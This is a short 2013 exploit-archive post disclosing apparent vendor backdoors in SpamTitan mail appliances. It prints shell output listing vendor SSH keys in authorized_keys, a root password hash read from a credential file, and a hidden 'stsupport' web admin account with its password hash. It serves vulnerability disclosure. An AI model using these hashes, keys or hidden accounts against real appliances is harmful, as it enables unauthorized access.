Home / exploits Spamtitan Backdoors
Posted on 16 October 2013
a few month ago backdoors in barracuda was found https://www.schneier.com/blog/archives/2013/01/backdoors_built.html http://www.theregister.co.uk/2013/01/24/barracuda_backdoor/ apparently their competitor spamtitan was quick making fun of them http://community.spiceworks.com/topic/294951-reported-backdoors-on-barracuda-appliances without considering they had their own backdoors the security of the product is a fucking joke, containing everything from authentication bypass to root exploits. there is really no hope, the developers didnt even try. they can patch those specific vulnerabilities, but have no idea what theyre doing. i only scratched its surface. # cat /home/admin/.ssh/authorized_keys (ssh -l stadmin) ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQCyREqWliqOnRZgB1B3V6b0x+bPJUfAU4dOzHCuGRI+D0r3Vv/wrs/6ssnm+AoH7/+PcICFVQdBcGxqLd8an9xOfDaEGuHd9e/Is4dR5dth8ZUp+zalC9rvrnu0nPNaQpJUlkRTEkNw0JZjHK0B6rtWjgM49Jgn3Twnl9i8g+YsjQ== ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAtl1th7MBswDC2U6VTYAJ6q4+D9UtCI2gahblYC5980bI/lnyRIA84UUEgeiOfzkaB8FrSZJ12r01/bNQIEagGrCGjHyCGGK0wjpxJMggRguaIFIQzNO6y6l4ZBKh+I8PycIXr0ed918D4di4rubSOGhMEp6ZEpImQ9BsWMagrBE= sean@homer.copperfasten.com ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAyc5wKKYYctH7QJ7SK2+21stuziDEkBCXvrIewbq4WH557sbJ9u6/5VTD1uEbYiw8fk+JvK9uRuRiz469ZXmjoBR52hAgDPvwxRMwSbMaceE9FllA6Xg1KKSAhq9oXwHepeUNp74BgmqRxyGHiRUZqST+E8M51mVvt/ZCecvZEgc= # cat /root/master.password.orig root:$1$LaCGzmLp$2dNXQ0N7wk8oxppWNsZRT/:0:0::0:0:Charlie &:/root:/bin/csh and finally, there's a stsupport user in the web psql> SELECT * FROM USERS; id | mailbox_id | priority | policy_id | email | fullname | user_name | user_level | report_date | password ----+------------+----------+-----------+-----------+---------------+-----------+------------+---------------------+---------------------------------- 3 | 2 | 0 | 1 | stsupport | Support Admin | admin | S | 2008-01-01 00:00:00 | fc4e859ffb9f54767a0026773b0583d9
